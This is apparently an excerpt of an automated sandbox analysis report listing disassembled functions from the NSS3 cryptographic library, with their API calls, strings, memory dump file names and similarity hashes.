Instruction Fuzzy Hash: 847118F0E051019BEB219F25DC4576A3375AF4630DF240879D8199AB42EB32E915C7BE

Function 6C668F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C669582), ref: 6C668F5B

Part of subcall function 6C67BE30: SECOID_FindOID_Util.NSS3(6C63311B,00000000,?,6C63311B,?), ref: 6C67BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C668F6A

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C668FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C668FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C74D820,6C669576), ref: 6C668FF9
DER_GetInteger_Util.NSS3(?), ref: 6C66901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C66903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C669062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6690A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6690CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6690F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C66912D
free.MOZGLUE(00000000), ref: 6C669136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C669145

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: d9a76fc0ca60a41a330765528841091c375cb9a261aa9509b29fc1e071d35016
Instruction ID: 46212b2900fdac8123f5bd22567562892e197c79564147a9195d936bcc9dad2d
Opcode Fuzzy Hash: d9a76fc0ca60a41a330765528841091c375cb9a261aa9509b29fc1e071d35016
Instruction Fuzzy Hash: CA51E4B1A042009BEB10CF29DC4179BB7E8AF99358F154929EC54C7B41E731E945CBEB

Function 6C61AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C61AF47

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

FreeLibrary.KERNEL32(?), ref: 6C61AF6D
free.MOZGLUE(?), ref: 6C61AFA4
free.MOZGLUE(?), ref: 6C61AFAA
PR_ExitMonitor.NSS3 ref: 6C61AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C61AFF5
PR_ExitMonitor.NSS3 ref: 6C61B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C61B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C61B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C61B03C

Strings

%s decr => %d, xrefs: 6C61AFF0
Unloaded library %s, xrefs: 6C61B023

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 582d6357921631b3bbd8e110e0bec44f6c39448fd36c789a7b3b1d480cf1d8b1
Instruction ID: d5b150649ea5243c06fb7b03ec61341a487384ea16e5a5feb31bbf88cef49f75
Opcode Fuzzy Hash: 582d6357921631b3bbd8e110e0bec44f6c39448fd36c789a7b3b1d480cf1d8b1
Instruction Fuzzy Hash: 7431E3B5B09110AFDA019E69DC44A95B775EF4630AB284135E81587E42E722E82CCBEA

Function 6C666C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C66781D,00000000,6C65BE2C,?,6C666B1D,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C66781D,?,6C65BE2C,?), ref: 6C666C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C666C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C666C96

Part of subcall function 6C611240: TlsGetValue.KERNEL32(00000040,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611267
Part of subcall function 6C611240: EnterCriticalSection.KERNEL32(?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C61127C
Part of subcall function 6C611240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611291
Part of subcall function 6C611240: PR_Unlock.NSS3(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C6112A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C666CAA

Strings

dbm:, xrefs: 6C666C3A
rdb:, xrefs: 6C666C69
sql:, xrefs: 6C666C52
dbm, xrefs: 6C666CA4
extern:, xrefs: 6C666C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6C666C91

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: e8a92f08509e8a33a8ef62146f1eb7d310fd7671894a8154dd8386084fd092ed
Instruction ID: 53c0d52b4e40409f264e2e5af8e71a4432e0ad1964a4519901c796187d25eaf4
Opcode Fuzzy Hash: e8a92f08509e8a33a8ef62146f1eb7d310fd7671894a8154dd8386084fd092ed
Instruction Fuzzy Hash: 4E01A2A170271527E6002B7B6E4AF66655C9F4239EF140531FE08E0E81EAA6EA1440BE

Function 6C674E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6378F8), ref: 6C674E6D

Part of subcall function 6C6109E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6106A2,00000000,?), ref: 6C6109F8
Part of subcall function 6C6109E0: malloc.MOZGLUE(0000001F), ref: 6C610A18
Part of subcall function 6C6109E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C610A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6378F8), ref: 6C674ED9

Part of subcall function 6C665920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C667703,?,00000000,00000000), ref: 6C665942
Part of subcall function 6C665920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C667703), ref: 6C665954
Part of subcall function 6C665920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C66596A
Part of subcall function 6C665920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C665984
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C665999
Part of subcall function 6C665920: free.MOZGLUE(00000000), ref: 6C6659BA
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6659D3
Part of subcall function 6C665920: free.MOZGLUE(00000000), ref: 6C6659F5
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C665A0A
Part of subcall function 6C665920: free.MOZGLUE(00000000), ref: 6C665A2E
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C665A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674EB3

Part of subcall function 6C674820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C674EB8,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C67484C
Part of subcall function 6C674820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C674EB8,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C67486D
Part of subcall function 6C674820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C674EB8,?), ref: 6C674884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674EC0

Part of subcall function 6C674470: TlsGetValue.KERNEL32(00000000,?,6C637296,00000000), ref: 6C674487
Part of subcall function 6C674470: EnterCriticalSection.KERNEL32(?,?,?,6C637296,00000000), ref: 6C6744A0
Part of subcall function 6C674470: PR_Unlock.NSS3(?,?,?,?,6C637296,00000000), ref: 6C6744BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F8F
PK11_UpdateSlotAttribute.NSS3(?,6C74DCB0,00000000), ref: 6C674FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C67501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C67506B

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: a6bc6f8301ddd68c782ed018bfd3a00d18b827efea09f8d7cac1cc60dc8668e9
Instruction ID: 04465b74094e4cf966552344a21fe810f4e3b52a317d6d6c7fd1fc4314a43310
Opcode Fuzzy Hash: a6bc6f8301ddd68c782ed018bfd3a00d18b827efea09f8d7cac1cc60dc8668e9
Instruction Fuzzy Hash: E95128B1D002059BEB219F24EC096AB37B4FF0631DF140975EC1A86A11FB31D965CBBA

Function 6C61ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61ACE2
malloc.MOZGLUE(00000001), ref: 6C61ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C61AD02
TlsGetValue.KERNEL32 ref: 6C61AD3C
calloc.MOZGLUE(00000001,?), ref: 6C61AD8C
PR_Unlock.NSS3 ref: 6C61ADC0
free.MOZGLUE(00000000), ref: 6C61AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C61AE58
free.MOZGLUE(00000000), ref: 6C61AE69
free.MOZGLUE(?), ref: 6C61AE78
PR_Unlock.NSS3 ref: 6C61AE8C
free.MOZGLUE(?), ref: 6C61AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C61AEC7

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 660f91b9fa9ee0694072f435d16fcdeb41976a70d9ebdc87f6f0da74ceabeefc
Instruction ID: ac832a1907e3e748848871820da3e945ebf454f75a930613b57c2f3825ead993
Opcode Fuzzy Hash: 660f91b9fa9ee0694072f435d16fcdeb41976a70d9ebdc87f6f0da74ceabeefc
Instruction Fuzzy Hash: 6F51AEB0F092299BDF01DF68C8456AA77B4BB0B34AF150135D914A3E12D731A909CBEA

Function 6C6F4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C6F4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6F4CFD
sqlite3_value_text16.NSS3(?), ref: 6C6F4D44

Strings

unknown error, xrefs: 6C6F4D56
another row available, xrefs: 6C6F4D20
no more rows available, xrefs: 6C6F4D2E
API call with %s database connection pointer, xrefs: 6C6F4CF6
bad parameter or other API misuse, xrefs: 6C6F4D05
invalid, xrefs: 6C6F4CF1
out of memory, xrefs: 6C6F4C78, 6C6F4C9E
abort due to ROLLBACK, xrefs: 6C6F4D27, 6C6F4D33

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: f8cabf4c3745c469f8d2214a2467ca765351b78ca6ba15a9265a3b01cb137cc8
Instruction ID: 7ee2bfdfc5050d8038f3ff95453d138c8aa5abd9d283d08018cf63351a16efa3
Opcode Fuzzy Hash: f8cabf4c3745c469f8d2214a2467ca765351b78ca6ba15a9265a3b01cb137cc8
Instruction Fuzzy Hash: 49316872A08911ABD70806289B217F573A77B83318F551135D4384BE59DBE1AC23C3FE

Function 6C6F2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6F2D9F

Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

sqlite3_exec.NSS3(?,?,6C6F2F70,?,?), ref: 6C6F2DF9
sqlite3_free.NSS3(00000000), ref: 6C6F2E2C
sqlite3_free.NSS3(?), ref: 6C6F2E3A
sqlite3_free.NSS3(?), ref: 6C6F2E52
sqlite3_mprintf.NSS3(6C75AAF9,?), ref: 6C6F2E62
sqlite3_free.NSS3(?), ref: 6C6F2E70
sqlite3_free.NSS3(?), ref: 6C6F2E89
sqlite3_free.NSS3(?), ref: 6C6F2EBB
sqlite3_free.NSS3(?), ref: 6C6F2ECB
sqlite3_free.NSS3(00000000), ref: 6C6F2F3E
sqlite3_free.NSS3(?), ref: 6C6F2F4C

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 64b4fd2ca4884761c7c8d29ffe1bb10cc5d5a31568d85ff1dbbb55f8a6fa266d
Instruction ID: dd8aa93a559742e0bad8e41d9b538c142572bb71cbf872de035dae2778d1a84d
Opcode Fuzzy Hash: 64b4fd2ca4884761c7c8d29ffe1bb10cc5d5a31568d85ff1dbbb55f8a6fa266d
Instruction Fuzzy Hash: B0616FB5E012559BEB00CFA5D885BDE77A2BF89348F244028DC25A7701E735E846CFA5

Function 6C637C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C782120,Function_00097E60,00000000,?,?,?,?,6C6B067D,6C6B1C60,00000000), ref: 6C637C81

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

TlsGetValue.KERNEL32 ref: 6C637CA0
EnterCriticalSection.KERNEL32(?), ref: 6C637CB4
PR_Unlock.NSS3 ref: 6C637CCF

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

TlsGetValue.KERNEL32 ref: 6C637D04
EnterCriticalSection.KERNEL32(?), ref: 6C637D1B
realloc.MOZGLUE(-00000050), ref: 6C637D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C637DF4
PR_Unlock.NSS3 ref: 6C637E0E

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 2baaa4e8f3ca8e5e171de2eda8f0982ba69af44e6ca6d2c278de6f21428e77bf
Instruction ID: fe126fa673593509d7866c7f9f4d98993d98c81c0f5c5301ab68874d4d09b8a4
Opcode Fuzzy Hash: 2baaa4e8f3ca8e5e171de2eda8f0982ba69af44e6ca6d2c278de6f21428e77bf
Instruction Fuzzy Hash: 5E511371E09120EFDB029F28CD48A6677F1EB4335AF356139EE0887761EB309851CB99

Function 6C687870 Relevance: 18.1, APIs: 12, Instructions: 138stringmemorythreadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,6C6891C5), ref: 6C68788F

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6891C5), ref: 6C6878BB
PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6891C5), ref: 6C6878FA
strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6891C5), ref: 6C687930
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6891C5), ref: 6C687951
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C687964
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C68797A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C687988
memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C687998
free.MOZGLUE(00000000), ref: 6C6879A7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6891C5), ref: 6C6879BB
PR_GetCurrentThread.NSS3(?,?,?,?,6C6891C5), ref: 6C6879CA

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Error$Alloc_HashLookupTablememcpy$ConstCurrentFindItem_ThreadZfreefreestrchrstrcmpstrlen
String ID:
API String ID: 1862276529-0
Opcode ID: db9d4dd350a87284b9cd09583b1760d21bf1cf3cead0836e3e3e71b7da7c8b8c
Instruction ID: 83c0adf43dc1269ceab7468ab3b496c811e9e462b5b0cebe245ad483fd065616
Opcode Fuzzy Hash: db9d4dd350a87284b9cd09583b1760d21bf1cf3cead0836e3e3e71b7da7c8b8c
Instruction Fuzzy Hash: FE41B1F1B022059BEF108B759C49F6777A8AF45359F240538F81897B51E731E808C6BA

Function 6C5A4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D97
PR_Lock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4DBA
PR_WaitCondVar.NSS3 ref: 6C5A4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4DEF

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
